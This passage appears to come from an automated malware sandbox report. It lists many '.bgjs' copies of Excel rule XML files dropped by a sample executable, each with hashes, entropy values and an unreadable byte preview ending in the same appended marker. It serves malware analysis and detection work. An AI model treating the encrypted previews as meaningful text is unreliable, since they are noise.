Preview:	<?xml.w,..x}.j.Q.].5...........8.F.a...5....j...........gZ..9.D8....i..x...R.lZ.....4..g.S.,4..v^..X....H.Sy2......((.E<.....~%..1&P...MX...;...........8.a..e.......o.#;iE....o..c3f..Vv8.[.P.g.r..s.'_.....I.5CJ...Z..U.......C./.....O....h.P1X.....xM...1.C.p..9[..W=..cpTm........$c..7c..L..z.]R8.. ...V...U+.nK...........^.T%p.F..8..n.`q.{.xyY.!.8.O.Y./.Jh>B,V^.YzRy.^4f...].P.b5....O.~...q...t..-..u...g..s.}..LX....A....s.B..e..{.S...zn.U....}v-\.j.0....5..mn......-`...w...@r0.'.....<..R<....k.j~B..Ge.r.7..5r.....S.H..A%.]L.....l....X.....=F.P.....0>.....C..%....P?J..++.<.)v{7.{P...e.3"R..w.=uwwb..H.&.....'./B.8)n...=.%4[..R.W...t.k./...GSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120638v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.733961695746591
Encrypted:	false
SSDEEP:	12:VwUFkfEbH3q5diz6DJ5KGIVxLOIwzyvZ2zTrjBi+IJKe1dYE2jIj2nsNXFfwzEfm:VweLGPiy2GSxLObzd/+p9AIlNoVbD
MD5:	1A4B170810E9F92D60C7EB9B723672BC
SHA1:	744E656FE990AB5B1DFA30E0D19B30194CE20DC0
SHA-256:	AEC169C6BFF0829765350A4EE7F07129C6C2B7BAFF470E6CC51DEE5A85862DEA
SHA-512:	D7EB24205427C823A4BFD119850D4AF0BA7682BBA43C4721ADCFBEC6C769789049249077B839BF4C8A1020496EB6E9935DC6DC319932109BEC7F38D0578B02B5
Malicious:	false
Preview:	<?xml..8p...Y+..wIZ.^)v.eK.%E.....]...6..,..3....\|B.J...c.v.!.08+.$...G... v....xO.T[.....-...Z..O..s.O......0 ......!5...E...3.......R....E~.%U....u.5..5.3..n/....a.mX H.8...P[.v..>I.$R6.}<`..S..%2....../.k....78..}~f..S=h0.%_P.}w.Z6i.\..5.t.^..,./.=6.0N.....N..S...&g..U.7.....@jQ..Zr.$u# ..Qo..gHY....v....tWa).......8T.UG......&.\mzveCC...1....Xu0.^...l6wgUG.K.I.C.k .[.8'....J..f#l$n../b2...<.1.f8K@.Kj...:.{...y.l..t..Q.'.{.}.0-0...C.)?j...LY.O!....y..Fp......t!..=K.......Q............y...8F.!...g...(...^..D...{.0@..ay..7y..PE...,....4..._......R..X.!..F.C..B....o.\j.*GI.[.p.c.k.q<.g.J...=......C..`.6.O... ].....O....83....Q.\.....I...J]\|.d..E.......#...>=.=.s.k...........N."..T....k.-.<.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120639v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	756
Entropy (8bit):	7.729327845086839
Encrypted:	false
SSDEEP:	12:CCW+VBirrG78c+z5sxSoyi4cCdK+teV+hjub8kBgJWmYARuCliUNJIoHqv1+ciik:CCGFV5sByjydYkKpYARuCIUDIIbD
MD5:	4BC2B8847D2502A4A1B760789BDC37A0
SHA1:	19F1E83EECBAC0CC002542A63B8DDF2FCE2A010F
SHA-256:	4DF190CFA8511BA55CFA49A1BCB762427D6F38CEFABE7C404711003077595EB6
SHA-512:	CD444AE5CC6A87D734B12900F8B31D1A2E2EB05616A2DD3F4DA94B31070A814F226E609172E6DDF60C0B4A2E62EAA3A52B75D116CEF029BF2AE1D333CE469E7C
Malicious:	false
Preview:	<?xml.@.v.l......p).NAj5..p.<.K.w.9x1..A..(^..D.G.1.6j.\|...kR\|..h...=@0.,.......5.FV..8.HD....#...MBZ...P~......,.r.*:f..W\|'x.d3^..({..l....Wy.....:H..\1x"..D5.5\|1z....e.L.y.......!.,...-.d.YuL.=.k......(....kh._..V.3.]E...J...Rb..n^.C./.^.&.ju8....W...0...y.~....z...>...F...E.../;i#....gx..g..L...F.ou.."b.1.R{b.......])..,.OoT.7:.'...X......BT....p.[C....].2.y...t.T.O41.f..".%....a..+.....<.../...W_.3....Y.2.".te.K3.Ub.S.M..=.!c..;.}.5..Q`.....~..CNX......;.`J.F..v..I...Wq-?...m........>.Y..]...(9.3.....1<.m.. ...#~p.3...B%......n. .B.?T./...bj...>...K........)K....n.......z..\|S....F.Lz..ss)(..O.y..'...../..y0.S..]../...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120640v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	811
Entropy (8bit):	7.760854510386661
Encrypted:	false
SSDEEP:	12:Rj1t3GZOvaDNCH/uIPnJG4K9xXa+tQeAszNm74Usg47vShqoNH4vm+2H1+cii9a:h1GOSwuN4OxXZEXsguvQNN+2UbD
MD5:	EB18C90232A0ED944F6790DE37C3A4F4
SHA1:	81B34598DD360B70C11AD575E120637D7C252B34
SHA-256:	45F9BE1662D2B57019E75F7C7997004D172CCB78C8DC5BB159A474D51F1C3EDA
SHA-512:	D3FA55A93EC326314E6FC11E3D2253809207A4011E322A37B95D1B38B8BB734901EEA06FE97121ED47D38F2105C374EE650818BB0608591923339673711B3D5C
Malicious:	false
Preview:	<?xml.N aO.`.G......;u....h...O.h...j.z....@8.l3.e.[.O..B2..m.; ..._g..w........AT..D!.V.UAcx..0j\|{..;]..;&u.m...BL.w...wy.j1.....d.H~.%..L\.q.^.B:.Z...........O..^.K)9un......a4.%m>[...4'...c.[.......,.3.+...s5.<...?.Fi]..>....N..K..A......5]c#..n...5.P1.<MR.$..vy..2R....4...K.....3.r..@.....s.g}..._i.../o.#D_.jr...fRY......8../..:,....H >...z.U...c.....#..Z.. ...w.$.....[.m.*..d..O.<D..@H.....:7G.Y...u>.8..\|.....v.fQ...c.!i....2.c..#..W....... ..}N..y8..8 ..v......5RF\|'..1..:...........B](.5.....%."..>...8...Q...G...vA.D.!..E...%d.k_...'Y.....@..vu..k.#....YQ.#..>m... ...K..l....H.az.....}.P5.12Y..._.....7.. ......=9p.^.5..n\|.di..>a......\.qB.D.~.k...mb..e..9...B....l:".'r...7..\ESLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120641v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.6925959380548505
Encrypted:	false
SSDEEP:	12:BXmiWw/SDg3tBEVkZhSNhsAkAOEhRtGe3sUIolZxmupr/XHug+1+cii9a:BX8wqMtBEVkZiSEhRtGefrvZpjHuObD
MD5:	A200C25FEFA8B7B681A04F45B41D4417
SHA1:	271D3F633DF1D47A2049335E1DC757C7BA02EC60
SHA-256:	C225F3CDA9DB0C482AF59996316CF175E09CC42445E7310CC2CCED943B741C95
SHA-512:	822B0C2479C5E379DF4D986470A5ADC13760644AF8C31357EE230C6C0DE9FE98F0B6558DB8FEF2A87D3A97F6D1B07675D4C82704F7FFCBF39451FCDDFB536004
Malicious:	false
Preview:	<?xml.B.e..z-.....\K...$.=M+.M.>..:.......-O}.....\<..{...;L0.}...n.._/)..J.ki....V-X...".7..^.lpJ....V.u[T.^....gH..7..T.HMU.1..x.t.;TY.[{w.l.>L..6.~.D.B.......X..?P.^.31.g........C~.EJ..E..$V.4\|.......U.9/4.. O.l.g.Y.0...;z...ee#....g,N..`..]-..}.E.Y0P..[....>..7....,`.........U0..aL;..9].6.s.....O..ND.....X:...ugE......!..A.)........Hua..`.:..`..}8...o[.=....!...3......W.:..Ux!.o.S....7...X...8.z.0...Z...8.I.."_..c..]...{D'd...f.......jet......-."...._.@.Q..G......%.0...VI.'.f._j....'/..#b.[......$..b.b...+.."...........>.R.!... H.U.6..;T`..k.B....-".F..Y...mU.....p6.....x\.......TI.;:.jcZ....'...e..N....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120642v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.7358157449139195
Encrypted:	false
SSDEEP:	24:UwwSXsIntV7+rRu2gakJUIfSNHD4zmObD:U+s8KRufPdWHMzrD
MD5:	DB77BB5F66E9E0DCB9A24C70387B8859
SHA1:	4C516895CC7314AC90C985DBAC9E9E3FD742F204
SHA-256:	8CF321B7DF66605B43F65D0890D231FEE1D727BF5A672CB731820D0D4A00A8BA
SHA-512:	B433104CF3F467B1505280AB708FA4E76CF0B6F86B66A60BDD4AA73E546887609F914F9C6324F82B0B01C5659E16277E4A4EC61F0805F7BE07DA6C01BDBE3FA9
Malicious:	false
Preview:	<?xml.B.....#...y...l.B..y8p.WA...M.....nDy..T...!..K&.p.....2..tx?....K..5....1.T-...2.......j...._.c...A.M..1^....FV..X4...Y...J.V..]w_ ......... \|...+.B.i...x1.I..Q.gE.ZWJ.D$.\r.\..J.._..ki%V.............?+...../A...u...MV.R..92...a.8$3s..>F.%)..J...^....J[.R..6......X...).-..v.e....y....H./....!..z<....s.`.Z..htE.Dv.M..........Q...Q.\|W..'.k...C.b.I.-W...%'f...z.\..pt:]@L...Rl[..v.N....e..'(zb..t.(.yH.......Kp.&'....E.^.....@.d2...!>.D..}.2'..y.2...r\|..cg...N....\................o.H..rD-.#.%.......:...].=...J..x4B.........].M....#.;`...2..mYk..8\]..."k...u......:].&>V.....J..\...k.b$B..=..e.%......D%$.......H.-...>{:....H....].7..I.C...._K.\|E.U.2H...;..p._h.....H..ND.v/dSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120643v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	733
Entropy (8bit):	7.7572061508432215
Encrypted:	false
SSDEEP:	12:iOfJWu6lZodKeWnOWcIn5kax171YpOF+a+jxXbUNqXp/+H0ciRQU3I/xa25UW7fm:izu6lq+OWB68lSwUdXbNw/iRZY/wbD
MD5:	38D81BD579445C0E803A74CCB4C1ABF0
SHA1:	7D1C5B8AD02B93219294D5FFFF7A430ACB2A8A48
SHA-256:	F64D1C545D5A5E5D885AC9DA0E2314050614E31E5E096E889D143BE1270D9F50
SHA-512:	345720C537FF276159AD8EDC79F81D38205F7D6A05A9B3B236B76A81FA96F5A16F01A347B7502DA6300921CC270B83F52DEC85C7B00D46B21DC6634B00C0E149
Malicious:	false
Preview:	<?xml.Z.....@.#.9...:U.A.Y...C=0......../vL../.5g....3N_...5......I..A.$.+.R_..............!.4.g.C....G....O...d1.24.U.......I..^....-.. ...=b.....b#'@..l..XjpA...U......f.G...............w.....[J..YL..9v.M:..].8..o`.b.Y.(.=P.6..DP..!.X........)...VY..,..3N.qQ...k....%z.........y....6.....].n.8E........{o"vx.Z....w.<s....!.l.....=.!.V.J.=...B..n.z.4.........e.....F7i......En.Gf.G..I...p..ZF+...!...j..v;u...%.t.sV..-.62..9..../Z...k.h.L.d[..}U.@...~.u.2.yz\|!.O....+......_.zv #..D.@.K...e..F......a.4(.q.......T..g.W.]...1..wj...u....(..&.~....P.I^....a..q.\|.p.......t$..j.e.fvl.X....T.3...\|.p..J..5.zv3....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120644v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.756900408220917
Encrypted:	false
SSDEEP:	24:IhA4IpTuNVE/zsPhUIdEKDbwll34S66bD:2JYw+/CdEobs34SnD
MD5:	E428CB16ABEA846FDE0916EF488C3EF0
SHA1:	58F5012B4799C17BD25108FED7A6E26DBA3BD201
SHA-256:	80D3354906E69CF354DD4E0070C9FB7D976F8D14D8CC0DD795D5FDDD2CB518F9
SHA-512:	D3F89873DE43CFF0DF45D7F5968510017651E39072538048B0AE789E24B877CA7409FB5D84A316C5EA36233849F1486C62D674E70E0DEFDB3DB55A10EF07B0DA
Malicious:	false
Preview:	<?xml!X2..._...U..M.........../..1.NHO..GT..R.<.V........RI...D).\....M..n...kq..j...{8o...VP.R.>k.........$D(.+.....c..IB....a3.t....$.E.d.U.Zx.y..^....0.i........rvd).....jv..hu_.i../...}./..r.$....q......3.N.<.D.....U8.=.U.e.Wk..v...J..u..$.4W..Ow.Yg..<v......NV..+-6.2k..._".....C.>$.d3.sK...u.daNp.6"....1.......<&..MJ.HH&c..L....V.o.c.g.].C....y^.x.W..q(0.>....PF......e..,jc..!...\|`....7.@-...;..L.?...i../k.lq.{..P.......%.x.!...s.sv.l..vEjC.^r!F..s...`O..y@?..rc.YL.v2.g..MC...+c......,mL... ...M...vL........a.n..../C...H.:...E....#.~<K}`:...t.....k.J...;..<.px....X...y.....*..i.......\|.z.c..jo+Z.px.....b>....F...f...)#........`...H.M.HE.U.e.T...t@.....d...T..qwXzB........c`.a......SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120645v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	758
Entropy (8bit):	7.7002883063703385
Encrypted:	false
SSDEEP:	12:ptagUcNvaeaOaKN1tplPq94w3JpLYK7CrXmtPbN080X6JnO1I97R7xiOhmO13A36:tvFaOfnLPq948v7c2MZ27DiOx3gIbD
MD5:	24A939B5F733F06D959A12FE97F50428
SHA1:	D79FA4E42913825F24D68E61E850FE12B72AE2E9
SHA-256:	9D26FD335D567368797C10ECF648E7AD29A159BA70DC3F501E744CBE84468524
SHA-512:	1E1A1418B026172815FEFED9FF25DF7ED7096C7AA09FEBA4A1CE074FAB4EBF64BA9C5B98E50192B17324335A11CECB785522B2FC75A1661B10C72495A155222B
Malicious:	false
Preview:	<?xml..>..NMq....9.}..Y.V'.[q...O.doH.......n1.M.5X.....=("y...sQ.A..".P...y....%O?&IE......e.?).~Z.........;.Y..e._.;..6.....fr..%....z..)J.uZ.g......ce.A.[....,.Dc ...k.>A5K.3..+..{e2.........#.e.._.'.M...tc.c....F.n....:w.\|...b.........<... .).l..wEY...8K.@.NR..2..7J..O......J..Z.%.4..{O..M.<s..V.....!P.NDgE..J@E...?]..&0..N..C...(m.....N.~.u...8..;.r.WLQ..m.1..f.#WO.fFZ.z..'.......:3..82_F3...U.....t#-.O..\.o....y\..?...7D.`..IW.....+....4C.E.. =....+...S..e..W.....z8...M....{p..T<..]..`..an...\.le\|....U....C..PT$...2.!0..>......(....G.B....!..T...(H..,...z...E..7. ...).........:.(MH_k6X.t.q.S.L.-.pI..GV*).w.1fKVsA..#..[P.2..c...3..e'...A..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120646v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.740982215900611
Encrypted:	false
SSDEEP:	12:AHJazur/WX/1pcfRs9VaUBGWGB+PX3T/FxDFYzNbery7O+/8Qqcr4BwJ2D1+ciik:A9re1pKKBNGAPXr9YzN6rs/Zvs/QbD
MD5:	754711EE7162FD7DC1BB5B43B7454733
SHA1:	4CA89E48E5FF492B37DF3601E16D1492357916B2
SHA-256:	B316F8C6034AA414257FAB3EA27ADFE31B208E3C51F0CBF6F31FDC1381888038
SHA-512:	3262F648C0C4FE0894DD8BBD5E9FD5ED53F8F304E73E77D08904F2E138ED23118040B4251FDA3FDFC0C1EF20BD303731564F44B8B6473E70A32FBDCFC831B676
Malicious:	false
Preview:	<?xmlZ.:)`.+Urv.M..O-.........L.X..T..$.. f.....q.+...< ..\|....K)p8."aH.-..+@7/-.....5.k..>..z.Z.O.es...9.f2.,Y...v..T%..y..&...L......._......0.B.(...u.....^...b.....A.P}...i=..u...N.[/\|xk....E..I.6........J..E.C...(j:..6Lx...S.q.C..r07....w2..a....E..0.........[....h.1t.L.i5.e/.<c...-..q)u.lp+........<.m...4..s..n<.Es..,.....G$M.\|.p.Jf..N<...U.)../.k.(...Gm..vH1....Z........z....Z.f'.._c..z......OG`.+.-,=P..^..0....AP.V..........{....d.~...{....B..7K.\.O._...{R..c..:..%*:0U>U......X....}.c[.B.%.Z.5.k.ON.....I. <R.tA.3u.3....Y....(..t8[r.<..K2z...8..<JG........U..r..$....H..,.h}3.1...`.QM~......S..D...oK..]4J,.h(.....]D.-c....<....f@D?...a.. .G.I.Y.XWN....b.0I..C.!D<g...saUSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120647v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	781
Entropy (8bit):	7.721880262861609
Encrypted:	false
SSDEEP:	24:FwGH9sZ2EdOsVSUZN7yq+IeLudC5v3jwO2ObD:O6sgEkex7J+pb3msD
MD5:	7FA6F3F75DF7C1E9BA22105E42B29281
SHA1:	6D75A28C7AED4A47065DD0810506E142BD14B03E
SHA-256:	C00584874E2D9303B225ECA15F218F0E9A3C484675EED718E408D6F0497555F7
SHA-512:	1D63E651D427F76C5AB0A5549359BA729B2B9848DFF891579B26C64771F8631E22CE3FC91C4761B668F2ADF85A0F94DACEF1495CA7FB87F5ED8920900C06E4FB
Malicious:	false
Preview:	<?xmlfo.oeG.8..&.N....:E.."........u...o.+.@..._.[M.Q...4...y.Z...S..b...t..5...Jk$..X9^'M...n.qX6..\|VIv.l...0.+..C....4.....=.....b.I..W...Z.H..\|........\|...G..".:.9.,..'{#....5JT..5)...y....U..i;..(.....G....HHm........9....^..c.'4.....d.z..?)i.W..ot.e!..Q...Ez..@....fa.-I.....z... ........f...,X\|......1./.,.q.a...[...G...@$h....{...?.!x~x....&...a?....i....4}.R$.....$.nv..g..G..}3.[.=..+...5...).gl<.g.e7.J..C....:.G.,..B]..sK...<@....4.2KbI....0B..0....h}.d./U..\|..... 9...6\>L=Rnq.Y.%..r...8Y..gR8..ON.G.@.*......Q..G.LKO=.....dLv.@...;....\H.3w...~....._.}.s.H.q a..W(L#.Z....V.Co.........a.;...!X).X.!....L.lzT3.F...H.....F..<.\|`n..Q.2. H.FFs.8-.n.%p..m=6.E.2.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120648v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	824
Entropy (8bit):	7.702101476208606
Encrypted:	false
SSDEEP:	24:9EeWt4a2d8iHIsNQrDRC4VDw0LbnW+FJ76R9javFSWbD:ueaGdtHNQt1VL7WSwetSED
MD5:	B704199B75602C84BF6202C42F00FB9B
SHA1:	E8E4014D76F7ED3F379766CED8393D9EE37B777A
SHA-256:	0F1963559DE4B216AC2D47BA2A6BEF89898D75A941CDCFD2C16CEB8BCF4E7E4B
SHA-512:	9E691E65BEA73F65E9538DFDFD46FD74B9B1324FF9476F7140E9028F53BAF4F7BFCABFB3E9E52961FCAAE3499FB8024C9760592FB02E5F3CBD5D70E16290A11D
Malicious:	false
Preview:	<?xml."c.^~.?V.!V3p..L<cl.T.$E=5X.e..B.:<>U.w....I{..g.2..8....}:.J..h..}.w@...3...7..~z..`y..K.t....aj..dO.....h.Z.;)Iw".....R2..........Y....Z.......bU..t.}....u.I9.w...9....v;.6..Y.o..8.....v ..,.Y.......9..C(?e..`bD....e".%...'...tAoA.z...}.]"..Q.O.H...>.>....{...f...J.^.gk....).d&..)...<v-..P.p.J...V..E..oi*.>....{..1..@.d(.G`u<Gr....xq.3v..\|s..T.L.g.t..T...#n.........._.DkE..e.U..w..E..U..{.NW4..H.5Wg..8n..'..;K..........W.?.lO..r......,0..E.g.....h=.T..!..#.N.vY..A.g.L....&T.L.GNI.....29`M.qD......>.t..1t0k.P.G.4UB....)VQ.t.rf.mr...I..c:MV.Rf7I.`.n......Wn.8).?o.<r..^Wf.w....X..R..x..T....sz..C69.%...%w ...@.4..MPH..i.M...D...7...cI.j.1...b)....j<.LoC....w..C.r.....k..y\.".>f.=.h\h..z.".....k.E.x..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120649v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.66167388206717
Encrypted:	false
SSDEEP:	12:6/VC1jdyhnweEWxE6do5+2Q7v+Hac+tqjAXUeXRtw2XsgoyM/UjOfx8itduplpSb:6g1kOeEWxvG5sv+HugcY9Xx85OVyYbD
MD5:	C632811CF9B73CC83FCC4F2C3B9420FC
SHA1:	0BB1C37C0A4028F3A1977277F01A6A7471B8D376
SHA-256:	CF5B2264404E6F326A39742CAFE7499FF0520E8F1DE3D65AAF140A64F066DC59
SHA-512:	FCC7760C9B8B82B0BE8AF82A59C608A1BDE0DA3583FD6CEE03B735F4D5EC9F269A1562D077C644D132705DE787A8B93FFA2B84E1565D2B5EF164B3A15B26D721
Malicious:	false
Preview:	<?xml..2.GDY2.g..l..hP.."m..C..b.........s.pS.>Na(.?H.8.L.{.;....`OkE.I........_.RO.+..=.. ......?!...[1.#.s...eA]3...Zh...._.....ZX4.6..~J97....}[..0..'....j]b"...>....5..9m.Y.....)..0.`_t.x..m.......h.I2@=W..\|.Aq...W.=...koNR.....n.b.i.r....U..M...w6.#..k..L..0RL9.....z.\4._...m..9Z.1...m.wk..]xO.~.!p.e...4.......\|.f...x.r../.9....D...........yj1 -9.f....q..VZ.....Jt.G...H#j..(M<R&...b.Cr..PU.:\|.,...%........'j.3.._.8....B?r..t./.._3r....mbO..P...?.I...ys.u.LP..l.&fb..K.....z....[q.k.\|.r.2.I..TD...`_..E.Z.`..?.o...w..F..../:..py+..?..D...7.h.7}G....l/\X.lX...M...`yf..Kfoib.rom.z.{.....6 q.....0.O....&"H...........I...3.<SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120650v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.766428979174014
Encrypted:	false
SSDEEP:	12:bPgKG2kkHhZnbff3RRK0BUAyK5kuvuneZN6kPU8/EXCUj1+cii9a:8qlHb3G8yXLe/6N8MyJbD
MD5:	63037F315F19E5A49BE6083BBE448FDC
SHA1:	A0D91D771FECE0656154F99BE91623DA28C21F2D
SHA-256:	9E3BBA77BC03F0403CD70CC11B76D27ABC2C0C604C5E211F8A77876989A16E55
SHA-512:	04400905DA5959A8A1C2F96AD0AD38872C2F3019F44EBB8426BF21E2F1C36E6FDD9892F37CC83838BFC8B011A4A820A398D3270F651C651C243540686FF4E8BB
Malicious:	false
Preview:	<?xml...Y0......0.x..1.>Xi4~A...Vv.X..&K1........l...O...,...W......F'.N..9r..RF....DD..].......j.CT.>..A../.6.-......vV..WM..........9u....KJ.*....$1X...I...?r<G....n:.Q....Nk.......R..]Es..z...'>..y^.....@o.(.#..+1_I......?....}.:. X&.Db.?.9.S..1.....F.\.w.Jv3.r.:U.'H.."........Q%...<.....2;..K..D.Zx..O#.!$..};y.....jr..D ...u.Z.U...q..L}.~]Lu....!.g.C.....A..R..I..CR..M.$.....i.w.s.....`....S.$.27$a..S.N./.r.(.] .gu.k..9...R.e.b..S....O...\|..g...........o..}mlX7..?e..d..........(3.~...vh........@.D.....O.S.M.=..on.z.f'~...... e.ho.-..7"...x....... .F...7M.....p](.Y.j29.v..}....!z0>.....O....\|..(%.....F..\|..F.....v....l...X.q'C.2#.......e.....M.;^N..tvf..,.n?..v'ma...'..E?.XKSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120651v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.7209811948923885
Encrypted:	false
SSDEEP:	12:toP6/iWMrb1to2Ifj2kkVe1JchxBXQ27SMBqY9CBsmbrNi+7ViEfB3o2WtSf1+cq:CS/OX1uh2kjHcvRQaSMBqY1srNis5dW1
MD5:	F932D537D15B503B7FF819A8B979A6AB
SHA1:	66230EFAC0D002E7B005E713DD6E8E40D7E23DA2
SHA-256:	82E304CBF4E49A29CFBFD41A9EEA9EAA771D40E2F2EFCD30AF35D79A46B06EC6
SHA-512:	76D40CB2A3BC93CF97DEE58746CFEB02FD11DAA105C6015782AFFD0FE782AD186A41F7D448FEF320C1C54FA468C336582C4B2CD3C3A1BBB84B5D888C3B3A3EFC
Malicious:	false
Preview:	<?xml.+....4B....\|...I.M.].h.q..9<..+.p.A.E.Z...?..M..;v..@.....(.wi.m.....!......I..4.4.V,H-..+[.=e...P!}.@.F..x\|..Rq....P..z.D.Yh....+....lYb..X;......m.G..d...\l....a../p.Hv............7.._nC{.L.$%..X{nuh..9.j.P..9=.>..g_...yP..oy..../S7..Z.;.....j.P.T.i..Ep~Y...g!..q.$}$....7..d..4+#.{..^#.\#N,..z.Q.A..<O-.....6..'I..3.......9..C.ES..t.p.#h..._%v&....J.....H.7oc....Rj...s.A.L.A..`x...b..7........W....i..^.G.+^.\|.H./>..&['...e..~Q........rf..E^f.T...#K9......o\..g.[..........I..?,.)>.e.d..G`....Z.\.m..#p.Lk..6.....Z.q"}2...%/b)@lJ.-...#C..k..D.q6......m..C.?..;.....'....4.e....>i..~.N..`...o..........5...x..e.S..V.x.p.g9.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120652v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.723030678990657
Encrypted:	false
SSDEEP:	24:DMqY4c5CaILgwc0LgyCOS+4IeG9ZnUmWD3bD:Aq/c5F+gwWyC1GZnuD
MD5:	FA1C50ADE526C1B9FB58509B24CC89B6
SHA1:	5893B77E7996D6DE17546F0F8AEE0469B4E9EBB9
SHA-256:	8AE15A1CE0A856912A03AC13A3D7B5CA1177DF910D2697F617CAD1B0231A1FC8
SHA-512:	4BC7E31129040C1BFA25AD5F0DE0F5BC85779EC7DB1F159A729D8E44C0233DF0569724965A7C9C8E65A2F91D1E5AFE05532B6AB9042DF23B77122C3997C88083
Malicious:	false
Preview:	<?xml......7..5!H.5.o............Xq....n1...../>q..1.GN.F7~...N.=d^a.. 6.?.#..Fmc.W.......X...l6...s....V....0..\|...!z....Z.p..?f.Z.J.....ESf8...-..V.!d..P.U;...\|..\3..;...qu8.5..^_...&}..;.$....4.3#..-..=...\|.O...C"LN..5/4<...8....._8y......#..-...9t..>")..L{...B....M..b..Y.`.Q.Pt..e.Vx..2*..L.k.<..jR.....m..\|I0.$!.#..L$:...AVR.<.../.+.i...`^Ey...uaHg...n....!.X.......n....c.z.NZUZ)...R"..f..x....CU.1..... ..J.......A..JdF.).b..rL....U..<.!..s..Gv}\k.bXoNm..K;.P...y....M1d....C3..W.J..[...... ...0o5p..c... ...M..U...s...-M..H"e.rXY.{Eh..IA.+.....4 .,<.g.n;.".!....f{.......}.l.+.qi...t.m.\|..i}.!zk..1.w....p.e/. 